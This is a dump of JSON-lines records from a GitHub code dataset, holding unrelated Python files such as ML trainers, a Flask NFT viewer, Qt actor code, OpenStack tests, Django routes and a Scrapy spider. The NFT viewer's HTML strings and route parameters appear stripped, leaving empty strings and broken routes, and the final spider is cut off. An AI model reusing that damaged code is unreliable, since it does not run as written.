np.save('ke_embed.npy',self.graph_classifier.gnn.embed.cpu().tolist())\n #early stop\n if self.not_improved_count > self.params.early_stop:\n break\n\n re = [self.all_train_loss, self.all_valid_loss, self.all_test_loss, self.all_train_auc, self.all_valid_auc, self.all_test_auc, self.all_train_aupr, self.all_valid_aupr, self.all_test_aupr, self.all_train_f1_score, self.all_valid_f1_score, self.all_test_f1_score]\n now = time.strftime(\"%Y-%m-%d-%H_%M\",time.localtime(time.time())) \n np.save(os.path.join(self.params.exp_dir, now + 'result.npy'), np.array(re))\n\n\n def make_valid_test(self):\n tic = time.time()\n test_result, test_reps = self.test_evaluator.eval()\n result, reps = self.valid_evaluator.eval()\n\n logging.info('\\033[95m Eval Performance:' + str(result) + 'in ' + str(time.time() - tic)+'\\033[0m')\n logging.info('\\033[93m Test Performance:' + str(test_result) + 'in ' + str(time.time() - tic)+'\\033[0m')\n if result['auc'] >= self.best_metric:\n self.save_classifier()\n self.best_metric = result['auc']\n self.not_improved_count = 0\n self.best_test_result = test_result\n # self.save_representation(test_reps)\n\n logging.info('\\033[93m Test Performance Per Class:' + str(test_result) + 'in ' + str(time.time() - tic)+'\\033[0m')\n else:\n self.not_improved_count += 1\n if self.not_improved_count > self.params.early_stop:\n logging.info(f\"Validation performance didn\\'t improve for {self.params.early_stop} epochs. Training stops.\")\n logging.info('\\033[93m Test Performance Per Class:' + str(self.best_test_result) + 'in ' + str(time.time() - tic)+'\\033[0m')\n \n self.last_metric = result['auc']\n \n valid_loss, valid_auc, valid_aupr, valid_f1_score, test_loss, test_auc, test_aupr, test_f1_score = result['loss'], result['auc'], result['aupr'], result['f1_score'], test_result['loss'], test_result['auc'], test_result['aupr'], test_result['f1_score']\n\n self.all_valid_loss.append(valid_loss)\n self.all_valid_auc.append(valid_auc)\n self.all_valid_aupr.append(valid_aupr)\n self.all_valid_f1_score.append(valid_f1_score)\n\n self.all_test_loss.append(test_loss)\n self.all_test_auc.append(test_auc)\n self.all_test_aupr.append(test_aupr)\n self.all_test_f1_score.append(test_f1_score)\n\n def case_study(self):\n self.reset_training_state()\n self.test_evaluator.print_result(self.params.exp_dir)\n\n def save_classifier(self):\n torch.save(self.graph_classifier, os.path.join(self.params.exp_dir, 'best_graph_classifier.pth'))\n logging.info('Better models found w.r.t accuracy. Saved it!')\n\n def save_representation(self, best_reps):\n np.savetxt(os.path.join(self.params.exp_dir, 'pair_representation.csv'), best_reps[0], delimiter='\\t')\n np.savetxt(os.path.join(self.params.exp_dir, 'pair_pred_label.csv'), best_reps[1], delimiter='\\t')\n np.savetxt(os.path.join(self.params.exp_dir, 'pair_true_label.csv'), best_reps[2], delimiter='\\t')\n\n\n\n","repo_name":"JieZheng-ShanghaiTech/PiLSL","sub_path":"managers/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":9335,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"755840515","text":"#ADGSTUDIOS - server.py\nfrom flask import Flask, Request, jsonify, redirect, request, render_template\nfrom flask_graphql import GraphQLView\nimport graphene\nfrom graphqlbackend import Query\nimport graphqlbackend as gb\nfrom flask_cors import CORS, cross_origin\nimport os\nimport dblayer as db\nimport requests\nimport json\nimport cloudscraper\nfrom bs4 import BeautifulSoup\nimport re\nimport urllib.parse\nview_func = GraphQLView.as_view(\n 'graphql', schema=graphene.Schema(query=Query), graphiql=True)\napp = Flask(__name__, template_folder='./pages')\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\napp.add_url_rule('/graphql', view_func=view_func)\n\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n@app.route('/api/v1/getnfts', methods=['GET', 'POST'])\ndef getnfts():\n if request.method == 'POST':\n if request.data:\n return jsonify(gb.get_address(request.data['walletaddress']))\n else:\n return 'invalid request'\n\n@app.route('/api/v1/returnNFTLink//')\ndef returnNFTLink(contractAddress,tokenID):\n try:\n url = \"https://opensea.io/assets/{0}/{1}\".format(contractAddress,tokenID)\n scraper = cloudscraper.create_scraper(\n browser={'browser': 'firefox', 'platform': 'windows', 'mobile': False})\n html = scraper.get(url).content\n soup = BeautifulSoup(html, 'lxml')\n if len(soup.findAll('source')) > 0:\n return {'video':re.findall('\"([^\"]*)\"', str(soup.findAll('source')[0]))[1]}\n for x in soup.findAll('meta'):\n if 'https://lh3.googleusercontent.com' in str(x):\n return {'image':re.findall('\"([^\"]*)\"', str(x))[0]}\n except Exception as e:\n print(e)\n return 'failed'\n\n@app.route('/viewnfts/', methods=['GET'])\ndef viewnfts(walletaddress):\n try:\n df = gb.get_address(urllib.parse.unquote_plus(walletaddress))\n except:\n return render_template('viewnft.html',walletaddress=\"Please enter a valid wallet address\")\n nftimagelink = []\n for index, row in df.iterrows():\n nftimagelink.append(returnNFTLink(row['ContractAddress'],row['tokenID']))\n df['NFTImageLink'] = nftimagelink\n payload = ''\n for index, row in df.iterrows():\n try:\n if row['NFTImageLink']['image']:\n payload += '' +''+str(row['tokenID']) +''+ ''+str(row['ContractAddress']) +''+ ''+''.format(str(row['NFTImageLink']['image']))+''+''+ ''\n except:\n try:\n payload += '' +''+str(row['tokenID']) +''+ ''+str(row['ContractAddress']) +''+ ''+''+''+ ''\n except:\n payload += '' +''+str(row['tokenID']) +''+ ''+str(row['ContractAddress']) +''+''+'No NFT Render Data Found'+''+ ''\n \n return render_template('viewnft.html', blockchainaddress=walletaddress,payload=payload) \n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"adgsenpai/NFTWalletScanner","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"30287537533","text":"\"\"\"Integrate guild with Qt.\n\nThe QtActorMixin mixin class allows you to add actor functionality to\nany PyQt class. Your class runs in a Qt thread, unless it is a QWidget\n(or derived from QWidget) in which case it runs in the main Qt thread.\nQueued method invocations (@actor_method, @actor_function) are handled\nas Qt events.\n\nThe ActorSignal class implements a simple bridge between guild and\nPyQt. Any object received by its guild input is emitted on its Qt\nsignal. This allows guild and Qt components to be connected without\nmodifying either.\n\nQt signals can be connected directly to guild components' actor\nmethods. Their queued invocation allows them to be called safely from\na Qt thread.\n\n\"\"\"\n\nimport six\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nfrom .actor import ActorMixin, ActorMetaclass, actor_method\n\n# class _QtActorMixinMetaclass(QtCore.pyqtWrapperType, ActorMetaclass):\nclass _QtActorMixinMetaclass(type(QtCore.QObject), ActorMetaclass):\n pass\n\n\n@six.add_metaclass(_QtActorMixinMetaclass)\nclass QtActorMixin(ActorMixin):\n # create unique event types\n _qtactor_queue_event = QtCore.QEvent.registerEventType()\n _qtactor_step_event = QtCore.QEvent.registerEventType()\n _qtactor_stop_event = QtCore.QEvent.registerEventType()\n\n def __init__(self, *argv, **argd):\n super(QtActorMixin, self).__init__(*argv, **argd)\n self._qtactor_dispatch = {\n self._qtactor_queue_event : self._actor_do_queued,\n self._qtactor_step_event : self._qtactor_step,\n self._qtactor_stop_event : self._qtactor_stop,\n }\n self._qtactor_gen = None\n # if not a Widget, move to a Qt thread\n if isinstance(self, QtWidgets.QWidget):\n # widgets can't be moved to another thread\n self._qtactor_thread = None\n else:\n # create a thread and move to it\n self._qtactor_thread = QtCore.QThread()\n self.moveToThread(self._qtactor_thread)\n self._qtactor_thread.started.connect(self._qtactor_run)\n\n def start(self):\n if self._qtactor_thread:\n self._qtactor_thread.start()\n else:\n self._qtactor_run()\n\n def _qtactor_run(self):\n self.process_start()\n self.process()\n\n # get gen_process generator\n try:\n gen = self.main()\n except AttributeError:\n try:\n gen = self.gen_process()\n except AttributeError:\n gen = None\n\n self._qtactor_gen = gen\n\n # do first step\n if self._qtactor_gen:\n self._qtactor_step()\n\n def _qtactor_step(self):\n try:\n self._qtactor_gen.next()\n except StopIteration:\n self._qtactor_gen = None\n return\n # trigger next step\n QtCore.QCoreApplication.postEvent(\n self, QtCore.QEvent(self._qtactor_step_event),\n QtCore.Qt.LowEventPriority)\n\n def _qtactor_stop(self):\n self._qtactor_dispatch = {}\n if self._qtactor_gen:\n self._qtactor_gen.close()\n self.onStop()\n if self._qtactor_thread:\n self._qtactor_thread.quit()\n\n def _actor_notify(self):\n QtCore.QCoreApplication.postEvent(\n self, QtCore.QEvent(self._qtactor_queue_event),\n QtCore.Qt.LowEventPriority)\n\n def event(self, event):\n event_type = event.type()\n if event_type in self._qtactor_dispatch:\n event.accept()\n self._qtactor_dispatch[event_type]()\n return True\n return super(QtActorMixin, self).event(event)\n\n def stop(self):\n QtCore.QCoreApplication.postEvent(\n self, QtCore.QEvent(self._qtactor_stop_event),\n QtCore.Qt.HighEventPriority)\n\n def join(self):\n if self._qtactor_thread:\n self._qtactor_thread.wait()\n\n\nclass ActorSignal(QtActorMixin, QtCore.QObject):\n signal = QtCore.pyqtSignal(object)\n\n @actor_method\n def input(self, msg):\n self.signal.emit(msg)\n","repo_name":"sparkslabs/guild","sub_path":"guild/qtactor.py","file_name":"qtactor.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"74037122118","text":"noOfDays = int(input(\"How many day's temperature? :\"))\nweatherList = list()\ni = 1\nwhile i <= noOfDays:\n temp = int(input(f\"Please Enter Day {i}'s Temperature ? :\"))\n weatherList.append(temp)\n i+=1\n\naverageTemperature = sum(weatherList)/noOfDays\n\ncounter = 0\nfor _var in weatherList:\n if _var >= averageTemperature:\n counter += 1\n\nprint(f\"Average Temperature = : {averageTemperature}\")\nprint(f\"{counter} day(s) above average\")","repo_name":"arnabdutta2194/DS-ALGO-CP","sub_path":"DS-ALGO/3. Array/weatherProblem.py","file_name":"weatherProblem.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14827827775","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestRegressor, RandomForestClassifier\nfrom sklearn.experimental import enable_iterative_imputer\nfrom sklearn.impute import IterativeImputer\n\nnp.random.seed(0)\n\n\ndef impute_continuous(df, CategoricalFeatures, ContinuousFeatures):\n '''\n Create dummy variables for categorical features, and impute continuous features.\n '''\n imp = IterativeImputer(max_iter=5, random_state=0)\n df_temp = pd.concat( (pd.get_dummies(df[CategoricalFeatures].fillna(-1).astype(int).astype(object),drop_first=False),df[ContinuousFeatures]),axis=1 )\n for var in CategoricalFeatures:\n df_temp = df_temp.drop(columns=[var+'_-1'] )\n filled_array = imp.fit_transform(df_temp)\n df_filled = pd.DataFrame(data=filled_array, columns=df_temp.keys(), index=df_temp.index)\n df_out = pd.concat( (df_filled, df['Outcome']),axis=1 )\n if 'case_identifier' in df.keys():\n df_out = pd.concat( (df_out, df['case_identifier']),axis=1 )\n return df_out\n\n\n\n# Correcting some typos on the database\ndef get_y_from_string(s):\n res = None\n letters = ['y','Y', 'm', 'M']\n for i in range(len(s)):\n #print(s[i])\n if s[i] in letters[:2]:\n #print(i)\n try:\n try:\n y = float(s[i-2:i])\n except:\n y = float(s[i-1])\n except:\n y = float(s[i-2])\n\n if res is None:\n res = y\n else:\n res +=y\n\n if s[i] in letters[2:]:\n try:\n try:\n y = float(s[i-2:i])/12\n except:\n y = float(s[i-1])/12\n except:\n y = float(s[i-2])/12\n\n if res is None:\n res = y\n else:\n res +=y\n return res\n\ndef process_length(x):\n if isinstance(x, str):\n res = get_y_from_string(x)\n return res\n return x\n\ndef fill_database(df,Imputed_Features,All_Features,method):\n\n df_imputed=df.copy()\n df_imputed=df_imputed.fillna(0)\n\n df2=df.copy()\n df2=df2.fillna(0)\n df2=df2[All_Features]\n\n if method==0:\n 1+1\n elif method==1:\n for featnum in range(len(Imputed_Features)):\n Feature=Imputed_Features[featnum]\n print('** Imputing '+Feature+'... **')\n DD=df2[df2[Feature]>0]\n med_val=DD[Feature].median()\n print(med_val)\n df_imputed[df2[Feature]==0]=med_val\n else:\n for featnum in range(len(Imputed_Features)):\n Feature=Imputed_Features[featnum]\n print('** Imputing '+Feature+'... **')\n\n\n df3=df2[df2[Feature]>0.]\n y_del=df3[Feature]\n df3=df3.drop(Feature,axis=1)\n X_train, X_val, Y_train, Y_val = train_test_split(df3, y_del)\n print(f'Train size = {len(X_train)}')\n print(f'Test size = {len(X_val)}')\n\n m = RandomForestClassifier(n_estimators=5, n_jobs=-1, max_depth = 3, max_features=12)\n m.fit(X_train, Y_train)\n\n X=df.copy()\n X=X[All_Features]\n X_impute=X[X[Feature]==0]\n X_impute=X_impute.drop(Feature,axis=1)\n df_imputed.loc[df_imputed[Feature]==0,Feature]=m.predict(X_impute)\n return df_imputed\n\n\ndef print_score(m,d=1):\n if d==1:\n print(f'Accuracy train : {m.score(X_train, Y_train)}')\n print(f'Accuracy val : {m.score(X_val, Y_val)}')\n if hasattr(m, 'oob_score_'): print(f'Oob score : {m.oob_score_}')\n else:\n print(f'Accuracy train : {m.score(X_train[d], Y_train)}')\n print(f'Accuracy val : {m.score(X_val[d], Y_val)}')\n if hasattr(m, 'oob_score_'): print(f'Oob score : {m.oob_score_}')\n","repo_name":"shimaohajime/contractor-prediction","sub_path":"source/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37899021485","text":"import sys\nfrom itertools import combinations\n\ninput_value = list(map(int, sys.stdin.readline().split()))\nnum_list = list(map(int, sys.stdin.readline().split()))\nans = 0\n\nfor x in range(1, input_value[0]+1):\n for y in list(combinations(num_list, x)):\n if sum(y) == input_value[1]: ans += 1\n\nprint(ans)","repo_name":"hyunsik96/TIL","sub_path":"python/week1/hyunsik96/1182.py","file_name":"1182.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16662725030","text":"from client.client import Client\nfrom sms.sms import Sms\n\n\n# Replace with your own API key and secret\napi_key = \"your_api_key\"\napi_secret = \"your_api_secret\"\nmovider_client = Client(api_key, api_secret)\nsms = Sms.get_all_scheduled(movider_client)\nprint(sms.result)","repo_name":"movider/movider-python","sub_path":"example/get_sms_all_scheduled.py","file_name":"get_sms_all_scheduled.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38580067781","text":"from unittest import mock\n\nfrom rally_openstack.task import context\nfrom rally_openstack.task.contexts.swift import utils\nfrom tests.unit import test\n\n\nclass SwiftContext(utils.SwiftObjectMixin, context.OpenStackContext):\n def __init__(self, context):\n self.context = context\n\n def setup(self):\n pass\n\n def cleanup(self):\n pass\n\n\nclass SwiftObjectMixinTestCase(test.TestCase):\n\n @mock.patch(\"rally_openstack.common.osclients.Clients\")\n def test__create_containers(self, mock_clients):\n tenants = 2\n containers_per_tenant = 2\n context = test.get_test_context()\n c = [mock.MagicMock(), mock.MagicMock()]\n context.update({\n \"tenants\": {\n \"1001\": {\"name\": \"t1_name\"},\n \"1002\": {\"name\": \"t2_name\"}\n },\n \"users\": [\n {\"id\": \"u1\", \"tenant_id\": \"1001\", \"credential\": c[0]},\n {\"id\": \"u2\", \"tenant_id\": \"1002\", \"credential\": c[1]}\n ]\n })\n\n mixin = SwiftContext(context)\n containers = mixin._create_containers(containers_per_tenant, 15)\n\n self.assertEqual(tenants * containers_per_tenant, len(containers))\n for index, container in enumerate(sorted(containers)):\n offset = int(index / containers_per_tenant) + 1\n self.assertEqual(str(1000 + offset), container[0])\n\n for index, tenant_id in enumerate(sorted(context[\"tenants\"]), start=1):\n containers = context[\"tenants\"][tenant_id][\"containers\"]\n self.assertEqual(containers_per_tenant, len(containers))\n for container in containers:\n self.assertEqual(\"u%d\" % index, container[\"user\"][\"id\"])\n self.assertEqual(c[index - 1],\n container[\"user\"][\"credential\"])\n self.assertEqual(0, len(container[\"objects\"]))\n\n @mock.patch(\"rally_openstack.common.osclients.Clients\")\n def test__create_objects(self, mock_clients):\n tenants = 2\n containers_per_tenant = 1\n objects_per_container = 5\n context = test.get_test_context()\n context.update({\n \"tenants\": {\n \"1001\": {\n \"name\": \"t1_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u1\", \"tenant_id\": \"1001\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c1\",\n \"objects\": []}\n ]\n },\n \"1002\": {\n \"name\": \"t2_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u2\", \"tenant_id\": \"1002\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c2\",\n \"objects\": []}\n ]\n }\n }\n })\n\n mixin = SwiftContext(context)\n objects_list = mixin._create_objects(objects_per_container, 1024, 25)\n\n self.assertEqual(\n tenants * containers_per_tenant * objects_per_container,\n len(objects_list))\n chunk = containers_per_tenant * objects_per_container\n for index, obj in enumerate(sorted(objects_list)):\n offset = int(index / chunk) + 1\n self.assertEqual(str(1000 + offset), obj[0])\n self.assertEqual(\"c%d\" % offset, obj[1])\n\n for tenant_id in context[\"tenants\"]:\n for container in context[\"tenants\"][tenant_id][\"containers\"]:\n self.assertEqual(objects_per_container,\n len(container[\"objects\"]))\n\n @mock.patch(\"rally_openstack.common.osclients.Clients\")\n def test__delete_containers(self, mock_clients):\n context = test.get_test_context()\n context.update({\n \"tenants\": {\n \"1001\": {\n \"name\": \"t1_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u1\", \"tenant_id\": \"1001\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c1\",\n \"objects\": []}\n ]\n },\n \"1002\": {\n \"name\": \"t2_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u2\", \"tenant_id\": \"1002\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c2\",\n \"objects\": []}\n ]\n }\n }\n })\n\n SwiftContext(context)._delete_containers(1)\n\n mock_swift = mock_clients.return_value.swift.return_value\n expected_containers = [\"c1\", \"c2\"]\n mock_swift.delete_container.assert_has_calls(\n [mock.call(con) for con in expected_containers], any_order=True)\n\n for tenant_id in context[\"tenants\"]:\n self.assertEqual(0,\n len(context[\"tenants\"][tenant_id][\"containers\"]))\n\n @mock.patch(\"rally_openstack.common.osclients.Clients\")\n def test__delete_objects(self, mock_clients):\n context = test.get_test_context()\n context.update({\n \"tenants\": {\n \"1001\": {\n \"name\": \"t1_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u1\", \"tenant_id\": \"1001\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c1\",\n \"objects\": [\"o1\", \"o2\", \"o3\"]}\n ]\n },\n \"1002\": {\n \"name\": \"t2_name\",\n \"containers\": [\n {\"user\": {\n \"id\": \"u2\", \"tenant_id\": \"1002\",\n \"credential\": mock.MagicMock()},\n \"container\": \"c2\",\n \"objects\": [\"o4\", \"o5\", \"o6\"]}\n ]\n }\n }\n })\n\n SwiftContext(context)._delete_objects(1)\n\n mock_swift = mock_clients.return_value.swift.return_value\n expected_objects = [(\"c1\", \"o1\"), (\"c1\", \"o2\"), (\"c1\", \"o3\"),\n (\"c2\", \"o4\"), (\"c2\", \"o5\"), (\"c2\", \"o6\")]\n mock_swift.delete_object.assert_has_calls(\n [mock.call(con, obj) for con, obj in expected_objects],\n any_order=True)\n\n for tenant_id in context[\"tenants\"]:\n for container in context[\"tenants\"][tenant_id][\"containers\"]:\n self.assertEqual(0, len(container[\"objects\"]))\n","repo_name":"openstack/rally-openstack","sub_path":"tests/unit/task/contexts/swift/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":6787,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"62"} +{"seq_id":"33309773890","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.views.generic import TemplateView\nfrom rest_framework import routers\nfrom dmt.main.views import (\n SearchView, UserViewSet, ClientViewSet, ProjectViewSet,\n MilestoneViewSet, ItemViewSet, ProjectMilestoneList,\n MilestoneItemList, AddCommentView, ResolveItemView,\n InProgressItemView, VerifyItemView, ReopenItemView,\n SplitItemView, ItemDetailView, IndexView, ClientListView,\n ClientDetailView, ForumView, NodeDetailView, MilestoneDetailView,\n ProjectListView, ProjectDetailView, UserListView,\n UserDetailView, NodeReplyView, ProjectAddTodoView,\n ProjectAddNodeView, TagItemView, RemoveTagFromItemView,\n TagNodeView, RemoveTagFromNodeView,\n TagDetailView, TagListView, ItemPriorityView, ReassignItemView,\n ChangeOwnerItemView, ProjectAddStatusUpdateView,\n StatusUpdateListView, StatusUpdateUpdateView, StatusUpdateDeleteView,\n NodeUpdateView, NodeDeleteView, UserUpdateView,\n ProjectUpdateView, MilestoneUpdateView, ItemUpdateView,\n ProjectAddItemView, DashboardView, MilestoneListView,\n ProjectRemoveUserView, ProjectAddUserView, ProjectAddMilestoneView,\n)\nfrom dmt.main.feeds import ForumFeed, StatusUpdateFeed\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', UserViewSet)\nrouter.register(r'clients', ClientViewSet)\nrouter.register(r'projects', ProjectViewSet)\nrouter.register(r'milestones', MilestoneViewSet)\nrouter.register(r'items', ItemViewSet)\n\nadmin.autodiscover()\n\nredirect_after_logout = getattr(settings, 'LOGOUT_REDIRECT_URL', None)\nauth_urls = (r'^accounts/', include('django.contrib.auth.urls'))\nlogout_page = (\n r'^accounts/logout/$',\n 'django.contrib.auth.views.logout',\n {'next_page': redirect_after_logout})\nif hasattr(settings, 'WIND_BASE'):\n auth_urls = (r'^accounts/', include('djangowind.urls'))\n logout_page = (\n r'^accounts/logout/$',\n 'djangowind.views.logout',\n {'next_page': redirect_after_logout})\n\nurlpatterns = patterns(\n '',\n auth_urls,\n logout_page,\n (r'^$', IndexView.as_view()),\n (r'^admin/', include(admin.site.urls)),\n (r'^api/1.0/', include('dmt.api.urls')),\n url(r'^api-auth/',\n include('rest_framework.urls', namespace='rest_framework')),\n url(r'^drf/projects/(?P\\d+)/milestones/$',\n ProjectMilestoneList.as_view(), name='project-milestones'),\n url(r'^drf/milestones/(?P\\d+)/items/$',\n MilestoneItemList.as_view(), name='milestone-items'),\n (r'^drf/', include(router.urls)),\n (r'^claim/', include('dmt.claim.urls')),\n (r'^search/$', SearchView.as_view()),\n (r'^client/$', ClientListView.as_view()),\n (r'^client/(?P\\d+)/$', ClientDetailView.as_view()),\n (r'^forum/$', ForumView.as_view()),\n (r'^forum/(?P\\d+)/$', NodeDetailView.as_view()),\n (r'^forum/(?P\\d+)/reply/$', NodeReplyView.as_view()),\n (r'^forum/(?P\\d+)/tag/$', TagNodeView.as_view()),\n (r'^forum/(?P\\d+)/remove_tag/(?P[^/]+)/$',\n RemoveTagFromNodeView.as_view()),\n (r'^forum/(?P\\d+)/edit/$', NodeUpdateView.as_view()),\n (r'^forum/(?P\\d+)/delete/$', NodeDeleteView.as_view()),\n (r'^item/(?P\\d+)/$', ItemDetailView.as_view()),\n (r'^item/(?P\\d+)/edit/$', ItemUpdateView.as_view()),\n (r'^item/(?P\\d+)/comment/$', AddCommentView.as_view()),\n (r'^item/(?P\\d+)/resolve/$', ResolveItemView.as_view()),\n (r'^item/(?P\\d+)/inprogress/$', InProgressItemView.as_view()),\n (r'^item/(?P\\d+)/verify/$', VerifyItemView.as_view()),\n (r'^item/(?P\\d+)/reopen/$', ReopenItemView.as_view()),\n (r'^item/(?P\\d+)/split/$', SplitItemView.as_view()),\n (r'^item/(?P\\d+)/tag/$', TagItemView.as_view()),\n (r'^item/(?P\\d+)/remove_tag/(?P[^/]+)/$',\n RemoveTagFromItemView.as_view()),\n (r'^item/(?P\\d+)/priority/(?P\\d)/$',\n ItemPriorityView.as_view()),\n (r'^item/(?P\\d+)/assigned_to/$', ReassignItemView.as_view()),\n (r'^item/(?P\\d+)/owner/$', ChangeOwnerItemView.as_view()),\n (r'^milestone/$', MilestoneListView.as_view()),\n (r'^milestone/(?P\\d+)/$', MilestoneDetailView.as_view()),\n (r'^milestone/(?P\\d+)/edit/$', MilestoneUpdateView.as_view()),\n (r'^project/$', ProjectListView.as_view()),\n (r'^project/(?P\\d+)/$', ProjectDetailView.as_view()),\n (r'^project/(?P\\d+)/add_bug/$',\n ProjectAddItemView.as_view(item_type='bug')),\n (r'^project/(?P\\d+)/add_action_item/$',\n ProjectAddItemView.as_view(item_type='action item')),\n (r'^project/(?P\\d+)/add_todo/$', ProjectAddTodoView.as_view()),\n (r'^project/(?P\\d+)/add_node/$', ProjectAddNodeView.as_view()),\n (r'^project/(?P\\d+)/add_milestone/$',\n ProjectAddMilestoneView.as_view()),\n (r'^project/(?P\\d+)/add_update/$',\n ProjectAddStatusUpdateView.as_view()),\n (r'^project/(?P\\d+)/edit/$', ProjectUpdateView.as_view()),\n (r'^project/(?P\\d+)/remove_user/(?P\\w+)/$',\n ProjectRemoveUserView.as_view()),\n (r'^project/(?P\\d+)/add_user/$', ProjectAddUserView.as_view()),\n (r'^status/$', StatusUpdateListView.as_view()),\n (r'^status/(?P\\d+)/$', StatusUpdateUpdateView.as_view()),\n (r'^status/(?P\\d+)/delete/$', StatusUpdateDeleteView.as_view()),\n (r'^report/', include('dmt.report.urls')),\n (r'^user/$', UserListView.as_view()),\n (r'^user/(?P\\w+)/$', UserDetailView.as_view()),\n (r'^user/(?P\\w+)/edit/$', UserUpdateView.as_view()),\n (r'^tag/$', TagListView.as_view()),\n (r'^tag/(?P[^/]+)/$', TagDetailView.as_view()),\n (r'^dashboard/$', DashboardView.as_view()),\n (r'^feeds/forum/rss/$', ForumFeed()),\n (r'^feeds/status/$', StatusUpdateFeed()),\n url(r'^_impersonate/', include('impersonate.urls')),\n (r'^stats/$', TemplateView.as_view(template_name=\"stats.html\")),\n (r'^smoketest/', include('smoketest.urls')),\n (r'^uploads/(?P.*)$',\n 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}),\n)\n","repo_name":"coati-00/dmt","sub_path":"dmt/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"31170010695","text":"def fruitmand_maken(lijst):\n\n fruitmand = {}\n\n for i in range(len(lijst)):\n fruitmand[len(lijst[i])] = lijst[i]\n\n return fruitmand\n\ndef fruitmand_inpakken(fruitmand):\n lengtes = []\n ingepakt = []\n for key in fruitmand.keys():\n lengtes.append(key)\n lengtes.sort()\n for i in range(len(lengtes)):\n ingepakt.append(fruitmand[lengtes[i]])\n\n return ingepakt\n\nprint(fruitmand_maken(['banaan', 'aardbei', 'kiwi', 'peer', 'appel', 'bes', 'sinaasappel', 'framboos']))\nprint(fruitmand_inpakken({6: 'banaan', 7: 'aardbei', 4: 'peer', 5: 'appel', 3: 'bes', 11: 'sinaasappel', 8: 'framboos'}))","repo_name":"simonvandevannet/Informatica5","sub_path":"13 - Dictionaries/Fruitmand_met_strik.py","file_name":"Fruitmand_met_strik.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29816701378","text":"from dataclasses import dataclass, field\n\nfrom fairseq import file_utils\nfrom fairseq.data.encoders import register_bpe\nfrom fairseq.data.encoders.byte_utils import (\n SPACE,\n SPACE_ESCAPE,\n byte_encode,\n smart_byte_decode,\n)\nfrom fairseq.dataclass import FairseqDataclass\n\n\n@dataclass\nclass ByteBpeConfig(FairseqDataclass):\n sentencepiece_model_path: str = field(\n default=\"???\", metadata={\"help\": \"path to sentencepiece model\"}\n )\n\n\n@register_bpe(\"byte_bpe\", dataclass=ByteBpeConfig)\nclass ByteBPE(object):\n def __init__(self, cfg):\n vocab = file_utils.cached_path(cfg.sentencepiece_model_path)\n try:\n import sentencepiece as spm\n\n self.sp = spm.SentencePieceProcessor()\n self.sp.Load(vocab)\n except ImportError:\n raise ImportError(\n \"Please install sentencepiece with: pip install sentencepiece\"\n )\n\n def encode(self, x: str) -> str:\n byte_encoded = byte_encode(x)\n return SPACE.join(self.sp.EncodeAsPieces(byte_encoded))\n\n @staticmethod\n def decode(x: str) -> str:\n unescaped = x.replace(SPACE, \"\").replace(SPACE_ESCAPE, SPACE)\n return smart_byte_decode(unescaped)\n","repo_name":"facebookresearch/fairseq","sub_path":"fairseq/data/encoders/byte_bpe.py","file_name":"byte_bpe.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":28050,"dataset":"github-code","pt":"62"} +{"seq_id":"21736761832","text":"import scrapy\n\nclass MySpider(scrapy.Spider):\n name = \"my_spider\"\n allowed_domains = [\"example.com\"]\n start_urls = [\n \"https://example.com/page1\",\n \"https://example.com/page2\",\n # add more URLs here\n ]\n\n def parse(self, response):\n # extract data from the current page\n data = {\n 'title': response.css('h1::text').get(),\n 'body': response.css('div.article-body::text').getall(),\n 'author': response.css('span.author::text').get(),\n 'date_published': response.css('span.date-published::text').get(),\n }\n yield data\n\n # follow links to other pages\n for link in response.css('a::attr(href)').getall():\n if 'example.com' in link:\n yield response.follow(link, self.parse)\n\n # follow links to other websites\n for link in response.css('a::attr(href)').getall():\n if 'example2.com' in link:\n yield scrapy.Request(link, callback=self.parse_other_website)\n\n def parse_other_website(self, response):\n # extract data from the other website\n data = {\n 'title': response.css('h1::text').get(),\n 'body': response.css('div.article-body::text').getall(),\n 'author': response.css('span.author::text').get(),\n 'date_published': 